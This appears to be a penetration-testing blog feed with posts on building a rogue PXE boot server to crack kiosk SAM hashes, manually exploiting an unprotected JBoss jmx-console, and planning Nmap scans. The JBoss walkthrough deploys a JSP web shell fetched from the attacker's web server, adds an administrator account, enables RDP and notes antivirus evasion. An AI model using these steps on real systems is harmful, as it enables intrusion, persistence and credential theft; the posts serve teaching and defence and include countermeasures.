Quantcast
Channel: SecuritySynapse
Viewing all 91 articles
Browse latest View live

Welcome!

$
0
0
SecuritySynapse is a corner of the web that is dedicated to improving our digital efficiency and security.  This site is run by a group of open-minded security professionals who like to share experiences that could benefit the community at large.  We believe that when properly integrated, security and usability do not have to be inversely related.

Most of the articles will be security related and/or pro-tips, however we are open to all authors and topics.  We just ask you to keep the blog posts clean, morally sound, and legal.

Have a topic you want to blog about?  Email us at admin -at- securitysynapse.com

BIOS Security? Build a PXE Attack Server

$
0
0

By Tony Lee and Chris Lee

Introduction

As consultants we are often hired to evaluate the security of kiosks or computers that are designed to interface with the general public.  The most secure configurations are ones that limit user interaction to the file system, command prompts, and the Internet.  One of the best ways to limit user interaction to the hard drive is to lock down the Basic Input/Output System (BIOS) to help prevent booting to alternative Linux distros.  This includes disabling booting to USB devices, locking down the boot order, and password protecting the BIOS.  In various engagements we will run across kiosks that are fairly locked down, but still vulnerable due to a very commonly seen BIOS configuration.  This article discusses how attackers can take advantage of this BIOS setting to allow the Preboot eXecution Environment (PXE) to be an administrator’s best friend and worst enemy.

Outline

  • Common attack vectors
  • The environment encountered
  • Modified attack vector
  • Building the evil PXE server
    • Bootable attack ISOs
    • Virtual PXE server with ISO support
    • Build instructions
  • Results
  • Countermeasures
  • Conclusion



Common attack vectors

When assessing kiosks, one of the first things that we test for is the simplest—USB port access.  If the kiosk is in a cabinet—is the cabinet locked?  Are there USB ports on the monitor or keyboard?   Is the kiosk out in plain-sight with USB access galore?  In any case, if we have access to a port, we will check for drive recognition upon boot and also while the system is already running.
If the kiosk is properly secured, developers will have made some attempt to lock down access to the file system.  By doing so they are hoping to prevent access to intellectual property, file shares, configuration files, and access to the Windows Security Account Manager (SAM) files.  One common bypass to file system logins is to boot to a USB drive that is running a lightweight Linux Operating System (OS).  Since the kiosk environment does not have a chance to boot, it does not lockout the attacker.  As a bonus, files that are normally “locked” because they are in use by a running Windows operating system are now unlocked and accessible.

The environment encountered

Some developers take the time to lock down the kiosks.  While booted, the kiosks execute with limited (non-admin) users, they block most command prompts, hide most start menu options, and block access to the file system.  They also take it a step further by disabling USB devices during boot, locking down the boot order, and disabling modification of the BIOS.  However, one thing that we notice is that the kiosk BIOS is usually configured to boot to the network (using PXE) first.  Below is an example of various setups we have encountered.


Figure 1:  Example BIOS that prevents modification and properly disables booting to USB devices


Modified attack vector

Ideally we want access to the file system at boot, but the USB drives are sometimes disabled.  The only other option may be PXE—which all computers in these environments seem to boot to first.  Most system administrators know first-hand how useful PXE (often pronounced “pixie”) capabilities are when rolling out new images or re-imaging existing desktops.  PXE is a network enabled boot environment that leverages a server running DHCP (to provide an IP address to the client), TFTP (to load the bootstrap configuration), and some sort of file share protocol such as NFS to serve up the operating system image files.  The image below illustrates the sequence of events for a PXE boot (http://www.freebsd.org/doc/handbook/advanced-networking/pxe-nfs.png):

Figure 2:  The network flow diagram above shows the typical PXE sequence of events.
Administrators also know that building a PXE server can take time and effort.  Since we typically only have one week for these types of engagements, we needed something flexible, portable, fast, and idempotent to the victim OS.

Building the evil PXE server

Our approach to building the evil PXE server is just one of many conceivable implementations.  This solution was assembled after a few hours of research and troubleshooting.  Thus, we are certain that more graceful options are possible and we would love to get your feedback via our contact information at the end of the article.
There were several important factors which limited our options for the build.  Because we were time constrained, we wanted to find already made solutions that we could adapt and combine.  Due to resource constraints, we wanted something that was portable and could be virtualized.  We also needed to boot to an environment that would not modify the victim OS.  These constraints lead us to a couple options that yield multiple combinations:
  1. Pre-built bootable attack images
  2. Virtual PXE environment that can boot ISOs


Bootable attack ISOs

This section is really a matter of personal preference and could include any lightweight bootable Linux distro such as Knoppix, BackTrack, Kali, Ophcrack, and even REMnux (known for its forensic capabilities and utilities).  The key is that these images need to be bootable live images that do not rewrite the disk.  Using ISOs with built-in attack tools make the job a little easier.  Since the target in our example was running Windows 7, we are demonstrating PXE booting to an Ophcrack LiveCD with various NT hash rainbow tables.
Ophcrack LiveCDs can be obtained from the following link: http://ophcrack.sourceforge.net/download.php
Ophcrack has three main options:
  • ophcrack XP LiveCD: cracks LM hashes (Windows XP and earlier)
  • ophcrack Vista LiveCD: cracks NT hashes (Windows Vista and 7)
  • ophcrack LiveCD: does not include any tables (if you already downloaded them)


Various free rainbow tables for Ophcrack are available at the following link:


We started with the Vista Free table.


Virtual PXE server with ISO support

While searching for a pre-built virtual PXE server, one result kept appearing—the Ultimate Deployment Appliance (UDA) from Mike Laverick.  This can be downloaded as a VMware virtual machine from the following address:  http://www.ultimatedeployment.org/download.html
The virtual PXE server with attack ISOs should now resemble the following picture:
Figure 3:  Picture of the environment we are trying to build.


Build instructions

Step 1) Download the files mentioned above (UDA  VM and your favorite bootable live ISO – we chose Ophcrack Vista LiveCD for this example because it already had the Vista Free rainbow table in the ISO)
Step 2) Extract the UDA download and open it in your VMware product (player or workstation, etc.).  UDA version 2.0 has an easy to use first boot wizard as shown in the screenshot below—use this to configure the network settings of your PXE server.  The network settings should either match the range of your targets or you can set up an isolated network using a switch, a laptop, and your target.

Figure 4:  Example network settings we used because we set up an isolated environment with only one victim by connecting our laptop and the victim host to a standard home-use switch.
Step 3) Create a place to store the attack images.  We chose to create, format, and add a virtual disk to the UDA virtual image using the instructions below:
Create the virtual disk in VMware:
With the UDA VM highlighted  Edit virtual machine settings   Add… button   Hard Disk   Create a new virtual Disk  next   Disk Size (We chose 5GB, but you can pick however much you need)  Next   Finish


Log into OS (via the VMware console or SSH):
User: root
Password:  <whatever you set in the setup>


Partition, format, and mount the disk:
[root@UDA ~]# fdisk -l
You will probably see your newly created disk show up as /dev/sdb
[root@UDA ~]# fdisk /dev/sdb
press “n” - to add a New partition
press “p” – for primary partition
press “1” – for partition number
press “enter” – to accept the rest of the defaults
w - to write the table and exit
[root@UDA ~]# fdisk -l /dev/sdb
[root@UDA ~]# mkfs.ext3 /dev/sdb1


[root@UDA ~]# mkdir /ISOs
[root@UDA ~]# mount /dev/sdb1 /ISOs/


Prep for image upload:
[root@UDA ~]# mkdir /ISOs/OphcrackNT



Step 4) Upload the bootable attack images to our new /ISOs/ directory via WinSCP, Filezilla, or other SCP program

Figure 5:  Using WinSCP to copy our Ophcrack bootable ISO to the directory we just created
Step 5) Mount the ISO via the loop option
[root@UDA ~]# mount –o loop /ISOs/<Ophcrack.iso> /ISOs/OphcrackNT/
You should now be able to verify that you can see the Ophcrack ISO contents (this includes the Vista Free rainbow table in our case):


[root@UDA ~]# ls /ISOs/OphcrackNT
Figure 6:  Screenshot that shows proper ISO mount with rainbow tables
Step 6) Create an export entry for additional Ophcrack Rainbow tables
[root@UDA ~]# vi /etc/export
Add the following line to /etc/export:


/ISOs/OphcrackNT/tables *



[root@UDA ~]# /etc/init.d/nfs restart


If you need additional rainbow tables, download them from the Ophcrack site and use WinSCP or a similar program to upload them to /ISOs/OphcrackNT/tables


Step 7) Create a symbolic link to our new ISO directory for the UDA web interface:
[root@UDA ~]# cd /var/public/smbmount/local
[root@UDA ~]# ln -s /ISOs/ ISOs


Step 8) Configure the PXE config options to include your attack image.  This is where we could not find instructions on how to configure the PXE to mount the ISO.  Even though our method worked—it is probably not the most graceful.


On your host OS (not VM):
Use 7zip or similar program to extract the kernel and initrd files from the Ophcrack image:
Kernel is:  ophcrack-vista-livecd-3.4.0.iso\boot\bzImage
Initrd is:  ophcrack-vista-livecd-3.4.0.iso\boot\rootfs.gz



Use browser to navigate to the IP you chose in the setup:
User: admin
Password:  <whatever you set in the setup>


Setup the Operating System:
Click the OS tab  Name it something descriptive  Choose Manual Configuration for the Operating System   click Next



Figure 7:  Screenshot of creating the OS to connect offer up
On the next screen, you will select the kernel and initrd file you extracted to your host OS then click Finish.


Figure 8:  Manual deployment configuration


Setup the PXE boot Menu (create a template):
    Click on the Templates tab  Click the New button  Fill out the information as shown below:
    Template name:  OphcrackNT
    Description:  Ophcrack with NT Rainbow Tables
    Operation System:  Manual Configuration
    Flavor:  OphNT


    Click Next then finish


Figure 9:  Creating the template


Figure 10:  Confirming the template options
You are now ready to boot to your PXE attack server.

Results

On-site, we usually setup a separate network using a home-use switch to prevent us from disturbing any other hosts on the client network that happen to reboot while we are connected.
Figure 11:  Environment that we created


Since you would recognize some of the kiosks we have tested in the past, we will show you pictures from our test environment below:
Once networked, boot the victim and allow it to obtain an IP address from our PXE server:


Figure 12:  Picture showing the three critical components—Attacker, victim, and switch
Select our Ophcrack image in the PXE boot menu:

Figure 13:  Picture showing the PXE boot menu
Log in by hitting enter and you will see a message stating that the rainbow tables were not found.  No problem, we shared them via NFS.


Figure 14:  Booted into the OS, but no tables were found
Spawn command shell - top left icon on the screen
su -   (password is root)
mkdir /tables
mount -o nolock -t nfs 192.168.100:/ISOs/OphcrackNT/tables /tables


Double click "Ophcrack" icon
Load the victim’s SAM:
Load button -> Encrypted SAM
/media/sda1/windows/system32/config -> Choose button


Load our mounted rainbow tables:
Tables button
Select table ("Vista free" in our case) -> Install button -> /tables/vista_free -> Choose button -> Ok button


Start the Crack:
Click the Crack Button


Now, you will see the tables being loaded into RAM and with a little luck the password will be cracked.
Figure 15:  The picture above shows the tables being loaded mounted, the hashes loaded, and the password cracked.
Note that even if you are not able to crack the password, you still have hashes.  You could use a tool such as Metasploit’s psexec module to pass the hash and obtain access to the host.

Countermeasures

We have illustrated a proof of concept attack that will work against an environment that has a locked down BIOS, but still boots to PXE first.  What can organizations do to prevent this attack?  It will most likely come down to a layered defense which may include some or all of the following:
  • Disable PXE boot if not required
  • Port security on the switches to prevent unknown hosts from connecting
  • Protect network port access to kiosks
  • Protect the power to kiosks
  • Full disk encryption on the kiosks – we would not have been able to decrypt the drive to see the SAM or any other sensitive files

Conclusion

We have shown you what is possible when an environment has the BIOS locked down, but is still set to boot to PXE first.  Using our proof of concept, you can quickly build this PXE attack server and test your vulnerability to this attack vector.  As mentioned before, this was the result of a few hours of research and troubleshooting.  We are open to any feedback on how to make this work more fluently (particularly the section which pertains to having PXE boot the ISO) or another solution if you have one that is more graceful.  Thanks for reading and happy hacking!


Email:  Tony.Lee -at- FireEye.com



Email:  Chris.Lee -at- Foundstone.com

This article and others like it will be featured in the upcoming Hakin9 magazine released at the end of July:  http://hakin9.org/bios-security-learn-how-to-protect-your-system-and-become-a-proffessional-security-expert/

Special Thanks to

Bill Hau
David Pany
Dan Dumond
Dennis Hanzlik
Glen Edwards
Ian Ahl
Rudolph Araujo

Manually Exploiting JBoss jmx-console

$
0
0

By Tony Lee and Chris Lee

Introduction


This article can almost be looked at as a follow-up to our previous article on Manually Exploiting Tomcat Manager (http://blog.opensecurityresearch.com/2012/09/manually-exploiting-tomcat-manager.html).  However, this time we will discuss how to achieve the same goals, but against JBoss instead.


JavaBeans Open Source Software Application Server (commonly shortened to JBoss) is a very popular open source implementation for handling JavaServer Pages (JSP).  JBoss contains a web accessible administrator page called the JMX Console.  The JMX Console is ironically plagued by the same vulnerability as Apache Tomcat Manager because it is often deployed with default, weak, or even no credentials.  Also comparable to Apache Tomcat Manager, JBoss allows administrators (and attackers) to upload and publish Web application ARchive (WAR) files remotely through this admin console.


A weak, default, or unprotected JMX Console is a very common initial foothold for attackers as they use this to remotely deploy and execute a payload to gain a backdoor to the host.  But how do we detect and exploit this vulnerability?


Vulnerability scanners will detect and identify this particular finding as:

JBoss Administrative Console Security Bypass Vulnerability (in McAfee Vulnerability Manager (MVM))

JBoss JMX Console Unrestricted Access (in Nessus)


Additionally, anyone can find JBoss instances by using resources such as Shodan (www.shodanhq.com) that provide the ability to search for HTTP headers such as:  “x-powered-by” “jboss”


There are a few Metasploit exploits (jboss_maindeployer, jboss_bshdeployer, jboss_invoke_deploy) that are the de facto exploits for this vulnerability and are usually rock solid; however we have seen a few occasions where it will fail with little-to-no explanation.   Additionally, the host may have antivirus (AV) or Host-based Intrusion Prevention System (HIPS) that catches the payload and it may be necessary to upload a custom binary manually instead of using the Metasploit Framework (MSF) to deploy it.  The information below is just one of many possible workarounds.

The major steps in our workaround process are:
  • Assess the situation
  • Download an alternative shell
  • Extract and understand the code
  • Create the WAR file
  • Create a web server to host the file
  • Deploy the WAR file
  • Utilize the JSP shell
  • Propagate and pillage
  • Destroy the shell

Assess the situation

In an ideal world, the exploit should work every time and yield a shell as shown in the screenshot below:


Figure 1:  Successful cmd.exe shell using the jboss_bshdeployer module available in Metasploit

However, in cases where we are not so lucky we need to manually deploy a shell so we can take control of the host.


Our scenario:

  • Windows 2008 R2 (64-bit) production box
  • Unprotected JMX Console running on the non-standard TCP port 3505
  • User Account Control (UAC) enabled
  • Tried setting target 1 (for Windows) and we were getting a “404” with all payloads  frustrating….
  • Tried automatic target and Java payloads—nothing worked!!


What do we do now?  Let’s do it manually.

Download an alternative shell


In the previous Tomcat article, we downloaded the Laudanum files (which contains the cmd.war file) from:  http://sourceforge.net/projects/laudanum/   (props to Kevin Johnson, Tim Medin, and John Sawyer)


According to the SourceForge page:
“Laudanum is a collection of injectable files, designed to be used in a pentest when SQL injection flaws are found and are in multiple languages for different environments. They provide functionality such as shell, DNS query, LDAP retrieval and others.”

We again tried to utilize the Laudanum shell in this instance and it was not working.  Our first guess was that AV was detecting the shell and that we either needed another shell or we needed to modify the current shell to bypass the detecting signature.  While searching for alternatives, we discovered a slick shell from the RedTeam Pentesting group (https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz).  We used wget as shown below to download the shell:

root@bt:~ # mkdir redteam


root@bt:~ # cd redteam


root@bt:~/redteam# wget https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz



Extract and understand the code

Before running a tool, it is best practice to try to understand the code.  Even if you are not familiar with the language, use Google and try to understand what the code is doing to the best of your abilities.  This will help you learn how to effectively use the tool and may identify limitations or areas of concern (such as unknowingly backdooring yourself).

root@bt:~/redteam# tar -zxvf redteam-jboss.tar.gz
BeanShellDeployer/mkbeanshell.rb
WAR/shell.jsp
WAR/WEB-INF/web.xml
Webconsole-Invoker/webconsole_invoker.rb
JMXInvokerServlet/http_invoker.rb
JMXInvokerServlet/jmxinvokerservlet.rb
jboss_jars/console-mgr-classes.jar
jboss_jars/jbossall-client.jar
README
setpath.sh
Rakefile


Create the WAR file

After reviewing the code and understanding how it works, we will now create the WAR file to deploy.

root@bt:~/redteam/WAR# jar cvf fs.war shell.jsp WEB-INF/
added manifest
adding: shell.jsp(in = 8527) (out= 2379)(deflated 72%)
adding: WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: WEB-INF/web.xml(in = 396) (out= 203)(deflated 48%)


root@bt:~/redteam/WAR# file fs.war
fs.war: Zip archive data, at least v2.0 to extract


Create a web server to host the file

One of the JBoss deployment options is to fetch a WAR file from a remote web server.  This is ideal because we can easily provide this service by using our BackTrack or Kali distribution to fire up a web server to host our file.  As shown below, we first verify that we do not already have a service listening on port 80 and then start up an Apache server.  We verify that the Apache service started by confirming that it is now listening on port 80, and we copy the WAR file to the web root directory for our web server.

root@bt:~# netstat -an | grep :80


root@bt:~# /etc/init.d/apache2 start
* Starting web server apache2                           [OK ]


root@bt:~# netstat -an | grep :80
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     


root@bt:~/redteam/WAR# cp fs.war /var/www
root@bt:~/redteam/WAR#

You should now be able to manually browse to your local webserver to verify the presence of the file:
http://localhost/fs.war



Figure 2:  Creating the WAR file and moving it to the root of the webserver

Deploy the WAR file


Navigate to the JMX Console on the target host (http://IP.Ad.dr.ess:port/jmx-console/) and search for “service=MainDeployer”. 



Figure 3:  Using MainDeployer to do our dirty work

From here you’ll want to utilize the deploy() function since it allows you to enter a URL as a parameter value in java.net.URL.  In this field, enter your attack IP and the name of the WAR file in the URL box and then click the “Invoke” button. 


Figure 4:  Populate deploy() function parameters


Utilize the JSP Shell

Utilize the shell on the target (found at /fs/shell.jsp in our example) to run various situational awareness commands.  Note that the JSP shell from RedTeam Pentesting requires a password.  By default the password is “secret”, unless you modify the shell.jsp ahead of time.


This shell allows you to pass parameters via the URL such as shell.jsp?pass=secret&cmd=whoami.  This may be ideal for scripting commands via wget or an http library in the language of your choosing (Python httplib2 for example).


Figure 5:  Attack runs whoami command to show that they are running with NT AUTHORITY\SYSTEM access

Additionally, the RedTeam shell provides a friendlier forms based page that allows command entry and file upload capabilities if you use the html parameter as shown below:

https://vulnerableserver.com:port?pass=secret&html=true




Figure 6:  Screenshot shows ability to run commands and upload files

This is a fairly intelligent shell that can recognize the operating system (OS) it is executing on.  That said, the Laudanum shell (that we used in the Tomcat article) required us to first specify “cmd.exe /c <command>” for certain commands such as dir, however this shell detects the underlying OS and does that for us automatically.


Propagate and pillage


In the Manually Exploiting Tomcat Manager article, we needed to obtain file transfer capabilities in order to upgrade our shell.  By using the RedTeam Pentesting shell, we already have file transfer capabilities.  Additionally, since in this example JBoss was running as NT AUTHORITY\SYSTEM, we were able to create and add the user to the local Administrators group and utilize RDP to log into the host.


Add a user:
net user chris <password> /add


Add user to local Administrators group:
net localgroup Administrators chris /add


Double check to make sure user is in local Administrators group:
net localgroup Administrators


Enable RDP from the command line (if needed):
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f



After using RDP to gain access to the host, we discovered that Symantec Antivirus originally caught and deleted all of our Metasploit payloads and our Laudanum shell.  Luckily, they did not detect our RedTeam Pentesting shell.  ;)  But this is a cat and mouse game.


Destroy the Shell

Once you are finished with the shell, you should remove it so no one else can utilize it.  To do this, complete the following steps:
  1. Navigate to the JBoss JMX web console on the target:  http://ip.ad.dr.ess:port/jmx-console/
  2. Search for:  “jboss.web.deployment“
  3. Find and click the hyperlink for the shell you deployed
  4. Find the destroy function and click the invoke button

Attempt to navigate to your shell to ensure that it is undeployed.

Summary

In our classes, we are asked why we often show students three or more different ways to complete a task.  We show the manual and tedious way to accomplish a task and then later show the easy, “one click fire” method.  Metasploit is a powerful framework that simplifies the attacks and adds fantastic functionality, but knowledge of the manual methods is a must—especially when your trusty tools are being blocked and in-depth troubleshooting is not an option.

Props


Contact Info

Email:  Tony.Lee -at- FireEye.com


Email:  Chris.Lee -at- Foundstone.com


Special Thanks To

Bill Hau
Dan Dumond
David Pany
Dennis Hanzlik
Glen Edwards
Ian Ahl
Rudolph Araujo


Refining Your Nmap Scan Strategy

$
0
0

By Tony Lee

Introduction

Disclaimers:  This is not a troll.  :)  Scans were run as root (or sudo) using Nmap version 6.25.

Few would dispute that the de facto standard scanning tool is Gordon Lyon’s (aka Fyodor) Nmap.  However, if we asked you to thoroughly and efficiently scan a remote class C (192.168.1.1/24) network, which of the following would you run?

  1. nmap 192.168.1.0/24
  2. nmap -sS 192.168.1.0/24
  3. nmap -sS 192.168.1.0-255
  4. nmap -sS -Pn -p 0-65535 192.168.1.0/24

The answer we hear most often is option a.  While this may work for small networks, it does not scale for larger networks or more thorough assessments.  The astute reader will notice that options a, b, and c, operate identically.  Option a provides the network range in CIDR notation and since -sS is the default scan type when no options are supplied--option b is identical to option a.  Examining option c, reveals that it is the same as options a and b, except that the target is supplied using a network range instead of CIDR notation.  The problem with options a, b, and c is that they will not thoroughly scan the remote class c network as they will only scan the top 1000 TCP ports.  Option d is close to what we are looking for since it scans all of the TCP ports; however, it lacks efficiency since we will be scanning all ports on all hosts, including dead IP space.

The most important thing to keep in mind is that in this simple example, we are only asking to scan a class C network.  However as security practitioners, we are often faced with multiple class C’s, class B’s or even in some cases, class A networks.  We will take the rest of this article to outline a scan strategy for networks of all sizes and some tips and tricks for carving the output.

Outline

  • Host Discovery
    • -sn “Ping Scan”
    • Throttling Pro-tips
    • Generate Live Hosts List
  • Port Discovery
    • Most Common Ports
    • Full Port Scans
  • Putting it all Together
  • Service and Operating System
  • Nmap Scripting Engine (NSE)
  • Manipulating Output
    • Carving Standard Output
    • Convert to HTML
    • Processing Script
  • Summary

Host Discovery

A methodical approach to scanning usually involves performing host discovery first, which eliminates the problem we saw with the above option d--scanning copious amounts of dead IP space.  Fortunately, Nmap is quite intelligent and flexible for performing host discovery scans.  The common host discovery scan options are listed below:


 -sn: Ping Scan - disable port scan
 -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
 -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
 -PO[protocol list]: IP Protocol Ping


The option we will focus on in this article is the most popular and the default for host discovery (-sn “Ping Scan”).

-sn Ping Scan

One thing to note about the -sn “Ping Scan” option (formerly known as -sP) is that it does much more than just a traditional ICMP echo request.  By default against a remote network the “Ping scan” consists of the following packets:
  • ICMP echo request
  • TCP SYN to 443
  • TCP ACK to 80
  • ICMP timestamp request



Figure 1:  Packet capture confirms behavior of a remote "Ping Scan"
When scanning a local network, Nmap automatically switches to using ARP requests.  This is desirable intelligence because fewer packets are sent and it is generally more accurate.  A system that blocks all ICMP traffic and filters TCP ports 80 and 443 would be invisible to the four remote discovery packets sent above.  However, hosts typically respond to ARP requests because layer 2 addresses are necessary to construct packet headers.


Figure 2:  Packet capture confirms behavior of a local "Ping Scan"
For the first packet capture, the scanning host was placed on a different subnet than that of the targets--this caused Nmap to use the 4 discovery packets shown in Figure 1.  For the second packet capture, the scanning host was placed in the same broadcast range and thus ARP was utilized for discovery as shown in Figure 2.  Both of the packet captures were created with the same discovery scan shown below.



root@DVORAK:~/scans# nmap -sn -T4 -oA Discovery 192.168.1.0/24

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-13 13:21 EDT
Nmap scan report for Wireless_Broadband_Router.home (192.168.1.1)
Host is up (0.0023s latency).
MAC Address: 00:26:62:XX:XX:XX (Actiontec Electronics)
Nmap scan report for 192.168.1.2
Host is up.
Nmap scan report for android.home (192.168.1.3)
Host is up (0.025s latency).
MAC Address: CC:3A:61:XX:XX:XX (Unknown)
Nmap scan report for computer.home (192.168.1.147)
Host is up (0.00035s latency).
MAC Address: 24:77:03:XX:XX:XX (Intel Corporate)
Nmap done: 256 IP addresses (4 hosts up) scanned in 4.45 seconds



Options explained:
-sn = “Ping scan”
-T4 = Throttle to aggressive
-oA <basename>= Output in all three formats (normal, XML, greppable)

Throttling Pro-tips:

Aggressive (-T4) throttling is substantially faster than the default Normal (-T3) throttle.  We have rarely (if ever) seen Aggressive scanning crash a host or flood a network.  This should be what you start with unless you know of particular hosts that are sensitive to scanning.  With that said, if hosts are known to crash on simple scans or become easily flooded, avoid scanning them with -T4 and possibly try Polite (-T2) throttling.  Please realize that -T2 may be up to 10 times slower than -T3, so be patient and only run it on your most sensitive hosts--not hundreds at a time.  More importantly, avoid any one-off scans such as version scanning as these are more likely to crash hosts than the speed of the scan.  Some older SCADA components are known to fall over from simple port scanning, not to mention version scanning.  In general, we do not recommend Insane mode (-T5) as this can negatively affect accuracy.  Lastly, we only recommend -T0 or -T1 when trying to be extra stealthy (IDS evasion) and only for scanning a few ports on a few hosts because it will likely be too slow for anything else.

Generate Live Hosts List

Nmap, like other tools, accepts a file containing a list of IP addresses as input.  Because the remaining scans are more intensive than the discovery scans, we will want to only feed live hosts to Nmap.  We can use the output files from our discovery scan to generate this list of live hosts.  Three files are generated as a result of the -oA option:



root@DVORAK:~/scans# ls
Discovery.gnmap  Discovery.nmap  Discovery.xml



Files explained:
.nmap = Normal output (what is printed to the screen)
.gnmap = Greppable output
.xml = XML output

We will extract the live hosts from the .gnmap (greppable) file using a command such as the following:



root@DVORAK:~/scans# grep "Status: Up" Discovery.gnmap | cut -f 2 -d ''> LiveHosts.txt


root@DVORAK:~/scans# cat LiveHosts.txt
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.147


Cut options explained:
-f = field number (in this case, field 2)
-d = delimiter (in this case, a space)

The resulting LiveHosts.txt file is one IP address per line, which can be supplied as input to Nmap and other tools as well.

Port Discovery

Now that we have generated our LiveHosts.txt file, we can start port discovery on these hosts.  If you have many live hosts to scan and only a short amount of time, you may want to break it up into two sets of scans:
  1. Most common ports
  2. Full port scans

Most Common Ports

Fortunately, Fyodor performed a substantial amount of research for his Top Ports Project which he presented in 2008 at BlackHat and Defcon.  He performed scans on millions of Internet IPs and incorporated internal scans from large organizations to determine the most commonly open TCP and UDP ports.  The key take-away from this research is that Fyodor made Nmap default port scans more efficient by targeting the top 1000 TCP and top 1000 UDP ports when no port options are provided.  But just how effective is scanning only the most common ports?  Here is an eye-opening table that summarizes the results of Fyodor’s research:

Table 1:  Summary of Fyodor's research


TCP
UDP
­­top­ports 10: 48%
­­top­ports 10: 50%
­­top­ports 50: 65%
­­top­ports 50: 86%
­­top­ports 100: 73%
-­top­ports 100: 90%
­­top­ports 250: 83%
-­top­ports 250: 94%
­­top­ports 500: 89%
­­top­ports 500: 97%
­­top­ports 1000: 93%
­­top­ports 1017: ~100%
­­top­ports 2000: 96%

­­top­ports 3674: ~100%



As shown in the table above, according to Fyodor’s research, scanning the top 1000 TCP ports is 93% effective in identifying all open TCP ports, while scanning the top 3674 TCP ports is almost 100% effective.  Additionally, scanning the top 1017 UDP ports is nearly 100% effective at identifying all open UDP ports.  Since the default scan is the top 1000 TCP and UDP ports, no port options are needed below.  (If scanning the top 1000 ports is not desirable, use the --top-ports option and specify a new number of ports to scan.)

Most common port scans:


nmap -sS -T4 -Pn -oA TopTCP -iL LiveHosts.txt


nmap -sU -T4 -Pn -oA TopUDP -iL LiveHosts.txt


New Options explained:
-sS = SYN Scan (half-open scanning) - Does not complete the 3-way handshake so it is faster than -sT (default scan - specifying is optional)
-sU = UDP Scan
-Pn = Do not perform discovery scan (we already know the hosts are alive)
-iL = Input from a file

Full Port Scans

Each host can have a maximum of 131,072 ports (that is 2^16 = 65536, then multiply by 2 for TCP and UDP).  But why would anyone need to scan all of those ports?  Why isn’t the top 1000 good enough--especially after we highlighted how effective it was?  One surprising port that is not contained in the top 1000 is TCP/2433 (the alternative default MS-SQL port, which can be a misconfigured Achilles heel for many networks).  Thus, skipping the full port scan can miss critical services that may be the entry point for an attacker or a piece of malware.   

Assuming that full port scans are desired, these can be executed when the most common port scans finish.  Full port scans will take substantially longer to finish than the common port scans.  Thus, it is ideal to have the results of the common port scans as something to review while the full port scans are running.  

Note: Full port UDP scanning is VERY slow, and for extremely large networks may never finish in a reasonable amount of time.

Full port scans:


nmap -sS -T4 -Pn -p 0-65535 -oA FullTCP -iL LiveHosts.txt


nmap -sU -T4 -Pn -p 0-65535 -oA FullUDP -iL LiveHosts.txt


New Options explained:
-p <ports> = port list

Putting it all together

So what does the scanning process look like when combined?



Discovery:
nmap -sn -T4 -oA Discovery 192.168.1.0/24


Generate Live Hosts List:
grep "Status: Up" Discovery.gnmap | cut -f 2 -d ''> LiveHosts.txt


Common Ports:
nmap -sS -T4 -Pn -oA TopTCP -iL LiveHosts.txt
nmap -sU -T4 -Pn -oA TopUDP -iL LiveHosts.txt


Full Ports:
nmap -sS -T4 -Pn -p 0-65535 -oA FullTCP -iL LiveHosts.txt
nmap -sU -T4 -Pn -p 0-65535 -oA FullUDP -iL LiveHosts.txt



Following this process should perform efficient host discovery, live host file generation, and full port scans for both TCP and UDP (along with the top 1000 ports, in case the full port scan does not finish in time).

Service and Operating System

After reviewing the common port scans (or full port scans if available), a few hosts of concern may emerge.  If this is the case, a more intensive scan may be desired such as a service and/or operating system scan.  These more intensive scans should not be used in discovery on a large network because it may take too long to finish.  If you have many live hosts, only run these scans on select hosts where more information is desired.

Service (Version) Scan

The ports that were discovered in prior scans were quickly labeled with associated services based on the nmap-services database of about 2,200 well-known services.  The example scan below shows ports 22, 23, and 80 all labeled with the expected services ssh, telnet, and http respectively.



Example SYN scan:
nmap -sS -T4 -PN -n 192.168.1.2
PORT   STATE SERVICE
22/tcp open  ssh
23/tcp open  telnet
80/tcp open  http


However, since applications/services can run on any arbitrary port, additional probing may be desired to ensure that the service matches the associated port.  For this additional probing, version detection (-sV) is useful.



Example version scan:
nmap -sV -T4 -PN -n 192.168.1.2
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
23/tcp open  telnet  Linux telnetd
80/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Notice that while the SYN scan (-sS) labeled port 80/tcp as http (per the nmap-services information), a deeper version scan (-sV) revealed that port 80 was really another instance of SSH.



Figure 3:  The screenshot above shows a SYN scan and a Version scan.  The version scan revealed that port 80 is actually SSH.  The version scan also correctly guessed the version of SSH.
Version scan syntax:


nmap -sV -T4 -Pn -oA <host>-service.txt <host>



New Options explained:
-sV = Service Version Scan

As you can see, version scanning is quite useful, but as mentioned earlier, it comes at a cost.  It requires more packets and thus takes longer to scan.  Notice in figure 3 that the SYN scan finished in 0.08 seconds, while it took the version scan 10.33 seconds.  Multiply the difference by thousands of machines and it adds up.

Operating System Scan

For very large networks, the operating system for each scanned host is not always known.  There are two quick checks that almost always work for high level operating system discovery (Windows vs. Linux)--especially when the two techniques are combined:
  1. TTL - Time To Live value (quickly obtained via ping, be sure to subtract the number of hops)
    1. Windows will generally have a TTL of 128
    2. Linux will generally have a TTL of 64
    3. Network devices will generally have a TTL of 255
  2. RPC (port mapper) port
    1. Windows hosts will have TCP 135 (msrpc) open
    2. Linux hosts will have TCP 111 (rpcbind) open

However, if you need more detail, such as the specific version of Windows or Linux, this is where Nmap’s operating system scan comes in handy.  Nmap uses TCP/IP stack fingerprinting and an nmap-os-db of more than 2,600 known OS fingerprints in order to accurately identify the operating system.  In most cases it is in the ballpark and if it does list a few operating systems, the correct OS is usually in the list.



nmap -O -T4 -Pn -oA <host>-service.txt <host>



New Options explained:
-O = Operating System Scan

